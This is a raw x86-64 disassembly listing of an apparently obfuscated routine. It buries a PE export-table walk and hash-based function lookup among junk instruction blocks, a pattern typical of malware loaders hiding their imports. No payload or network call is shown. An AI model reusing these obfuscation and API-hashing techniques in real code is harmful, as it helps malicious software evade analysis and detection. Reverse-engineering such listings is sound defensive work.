push rax
pushf
mov eax, 0xa8f8fbdd
pushf
not eax
add eax, 0x9db0e50
xor eax, 0x7178b4cf
rol eax, 0x42
popf
pushf
not eax
add eax, 0x40ff2fc1
xor eax, 0x15c6982b
rol eax, 0x22
popf
pushf
not eax
add eax, 0x2b8833b6
xor eax, 0x211f5a30
rol eax, 0x3b
popf
pushf
not eax
add eax, 0x36425371
xor eax, 0x3c77c9f
rol eax, 0x58
popf
jmp 0x1400952bc
mov r14d, dword [rdi + 0x20]
nop word [rax + rax]
push rax
pushf
mov eax, 0x41e8a42e
pushf
not eax
add eax, 0x38578606
xor eax, 0x4b6eaafe
rol eax, 0x1b
popf
pushf
not eax
add eax, 0x672528b5
xor eax, 0x7ae9d60a
rol eax, 0xe6
popf
pushf
not eax
add eax, 0x1f8a8551
xor eax, 0x2a4e30f8
rol eax, 0x57
popf
jmp 0x1400952bc
dec r10d
mov r9d, 0x8e38821
pushf
not r9d
add r9d, 0x3fbc7bb0
xor r9d, 0x761925aa
rol r9d, 0xf7
popf
pushf
not r9d
add r9d, 0x45d2f5ff
xor r9d, 0x3484d199
rol r9d, 0x1e
popf
pushf
not r9d
add r9d, 0x60fa847a
xor r9d, 0x5cc12fab
rol r9d, 0x9d
popf
lea rax, [r14 + r10*4]
mov edx, dword [rax + r11]
push r11
not r11
sub rdx, r11
pop r11
sub rdx, 1
movzx r8d, byte [rdx]
inc rdx
test r8b, r8b
je 0x140096a63
push rax
pushf
mov eax, 0x81ed64b1
pushf
not eax
add eax, 0x5073e5c1
xor eax, 0x4f399c7a
rol eax, 0xd1
popf
pushf
not eax
add eax, 0x46808e9a
xor eax, 0x6e2d6f22
rol eax, 0x73
popf
pushf
not eax
add eax, 0x7715b5a3
xor eax, 0x2d592d39
rol eax, 0xbb
popf
pushf
not eax
add eax, 0x671925a0
xor eax, 0x535898c8
rol eax, 0xd9
popf
jmp 0x1400952bc
push rax
pushf
mov eax, 0x9250c132
pushf
not eax
add eax, 0x66462e4c
xor eax, 0x4060fab3
rol eax, 2
popf
pushf
not eax
add eax, 0x160c166f
xor eax, 0x70f954da
rol eax, 0x46
popf
pushf
not eax
add eax, 0x14c22cf8
xor eax, 0x418965c6
rol eax, 0x9e
popf
jmp 0x1400952bc
movsx eax, r8b
lea rdx, [rdx + 1]
sub r8b, 0x41
mov ecx, eax
or ecx, 0x20
cmp r8b, 0x19
movzx r8d, byte [rdx - 1]
cmova ecx, eax
push rcx
not dword [rsp]
and dword [rsp], r9d
push r9
not r9d
and ecx, r9d
pop r9
or ecx, dword [rsp]
add rsp, 8
imul r9d, ecx, 0x1000193
test r8b, r8b
jne 0x140096b44
push rax
pushf
mov eax, 0xcdab6f2a
pushf
not eax
add eax, 0x4bf7a9d7
xor eax, 0x6bd0df5a
rol eax, 0x39
popf
pushf
not eax
add eax, 0x79787312
xor eax, 0x754d291f
rol eax, 0x81
popf
pushf
not eax
add eax, 0x31002e44
xor eax, 0x2fc7399a
rol eax, 0xc4
popf
pushf
not eax
add eax, 0x4400216d
xor eax, 0x578ce1d6
rol eax, 0x3d
popf
jmp 0x1400952bc
push rax
pushf
mov eax, 0x3973e93b
pushf
not eax
add eax, 0xf4e55da
xor eax, 0x7bc7f0e
rol eax, 0x8c
popf
pushf
not eax
add eax, 0x2ce5af3b
xor eax, 0xffd6a10
rol eax, 0xf
popf
pushf
not eax
add eax, 0x35975065
xor eax, 0x5194ea1c
rol eax, 0xbb
popf
jmp 0x1400952bc
cmp r9d, 0x88240ecb
je 0x140096bdd
push rax
pushf
mov eax, 0xd64ca1eb
pushf
not eax
add eax, 0x1a6566bc
xor eax, 0x4adaf32a
rol eax, 0x48
popf
pushf
not eax
add eax, 0x54af87e4
xor eax, 0x7c727f6
rol eax, 0xa
popf
pushf
not eax
add eax, 0x2db740f1
xor eax, 0x6b2db29a
rol eax, 0xd0
popf
jmp 0x1400952bc
push rax
pushf
mov eax, 0xa5721a88
pushf
not eax
add eax, 0x7ef4a22a
xor eax, 0x1e059f87
rol eax, 0xcf
popf
pushf
not eax
add eax, 0x31665e0c
xor eax, 0x280af5e2
rol eax, 0xf4
popf
pushf
not eax
add eax, 0x3b45a3ef
xor eax, 0x409cdbee
rol eax, 0xd9
popf
jmp 0x1400952bc
test r10d, r10d
jne 0x140096c81
push rax
pushf
mov eax, 0x50e252d4
pushf
not eax
add eax, 0x74b4945f
xor eax, 0x79fbbd6b
rol eax, 0x9d
popf
pushf
not eax
add eax, 0x28048f
xor eax, 0x88106d4
rol eax, 0x5b
popf
pushf
not eax
add eax, 0x33c7da07
xor eax, 0x5009b6c0
rol eax, 0x7d
popf
pushf
not eax
add eax, 0x7342ec92
xor eax, 0x2da54aeb
rol eax, 6
popf
jmp 0x1400952bc
push rax
pushf
mov eax, 0xa5ac510f
pushf
not eax
add eax, 0x681c5eef
xor eax, 0x5a898b2c
rol eax, 0xad
popf
pushf
not eax
add eax, 0x1ee2023a
xor eax, 0x58a767e5
rol eax, 0xdb
popf
pushf
not eax
add eax, 0x4e07f93e
xor eax, 0x5052d3f6
rol eax, 0xfc
popf
jmp 0x1400952bc
mov rax, qword [rsi]
mov rsi, rax
cmp rax, rbp
je 0x140096d2b
push rax
pushf
mov eax, 0xe8891df6
pushf
not eax
add eax, 0x3eb66263
xor eax, 0x63d50a3c
rol eax, 0x8e
popf
pushf
not eax
add eax, 0x10e41e24
xor eax, 0x30beefe7
rol eax, 0x56
popf
pushf
not eax
add eax, 0x7f1c8d9e
xor eax, 0x599a8a7
rol eax, 0x3d
popf
pushf
not eax
add eax, 0x49ad486d
xor eax, 0x142f143d
rol eax, 0xf8
popf
jmp 0x1400952bc
push rax
pushf
mov eax, 0xa3033311
pushf
not eax
add eax, 0x75131355
xor eax, 0x22a1042d
rol eax, 0xd0
popf
pushf
not eax
add eax, 0x3f80b2c6
xor eax, 0x5b5dc217
rol eax, 0x6f
popf
jmp 0x1400952bc
cmp qword [rax + 0x30], 0
jne 0x140096dc2
push rax
pushf
mov eax, 0x6cd42fb4
pushf
not eax
add eax, 0x54dba022
xor eax, 0x3d752939
rol eax, 0x88
popf
pushf
not eax
add eax, 0x32e50d8e
xor eax, 0x29a9b455
rol eax, 0xc0
popf
pushf
not eax
add eax, 0x27bbd7c6
xor eax, 0x4c4d33a7
rol eax, 0x61
popf
pushf
not eax
add eax, 0x4701fedc
xor eax, 0x61518bdd
rol eax, 0xf2
popf
jmp 0x1400952bc
push rax
pushf
mov eax, 0x50f39586
pushf
not eax
add eax, 0x3e9b54dc
xor eax, 0x3c6e384e
rol eax, 0x92
popf
pushf
not eax
add eax, 0x77075b3c
xor eax, 0x5d3ed8ef
rol eax, 0xce
popf
pushf
not eax
add eax, 0x4a4af0ea
xor eax, 0x5d4b012c
rol eax, 0x3e
popf
pushf
not eax
add eax, 0x36e8f993
xor eax, 0x4bf1e07
rol eax, 0xad
popf
jmp 0x1400952bc
xor r8d, r8d
mov qword [0x1400441e8], r8
push rax
pushf
mov eax, 0x91677822
pushf
not eax
add eax, 0x406cca33
xor eax, 0x1c2b8fc6
rol eax, 0x3f
popf
pushf
not eax
add eax, 0x4382c906
xor eax, 0x34662c75
rol eax, 0xfa
popf
pushf
not eax
add eax, 0x54f02b00
xor eax, 0x7a151154
rol eax, 0x45
popf
pushf
not eax
add eax, 0x169e1f09
xor eax, 0x292690ab
rol eax, 0xd0
popf
jmp 0x1400952bc
mov rdx, r13
mov rcx, r15
call r8
mov qword [0x1400441f8], rax
push rax
pushf
mov eax, 0xfb558619
pushf
not eax
add eax, 0x25a7e158
xor eax, 0x717350f6
rol eax, 0x62
popf
pushf
not eax
add eax, 0x112f2eaf
xor eax, 0x67617c50
rol eax, 0xbc
popf
pushf
not eax
add eax, 0x2210abd5
xor eax, 0x45d3f3c7
rol eax, 0xdf
popf
jmp 0x1400952bc
lea r11, [rsp + 0x40]
mov rax, r12
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
mov ecx, dword [rdi + 0x24]
push r11
not r11
sub rcx, r11
pop r11
sub rcx, 1
movzx edx, word [rcx + r10*2]
mov ecx, dword [rdi + 0x1c]
push r11
not r11
sub rcx, r11
pop r11
sub rcx, 1
mov eax, dword [rcx + rdx*4]
push r11
not r11
sub rax, r11
pop r11
sub rax, 1
jmp 0x140095c90
mov ecx, dword [rdi + 0x24]
push r11
not r11
sub rcx, r11
pop r11
sub rcx, 1
movzx edx, word [rcx + r10*2]
mov ecx, dword [rdi + 0x1c]
push r11
not r11
sub rcx, r11
pop r11
sub rcx, 1
mov eax, dword [rcx + rdx*4]
push r11
not r11
sub rax, r11
pop r11
sub rax, 1
jmp 0x140096606
mov ecx, dword [rdi + 0x24]
push r11
not r11
sub rcx, r11
pop r11
sub rcx, 1
movzx edx, word [rcx + r10*2]
mov ecx, dword [rdi + 0x1c]
push r11
not r11
sub rcx, r11
pop r11
sub rcx, 1
mov r8d, dword [rcx + rdx*4]
push r11
not r11
sub r8, r11
pop r11
sub r8, 1
jmp 0x140096e1e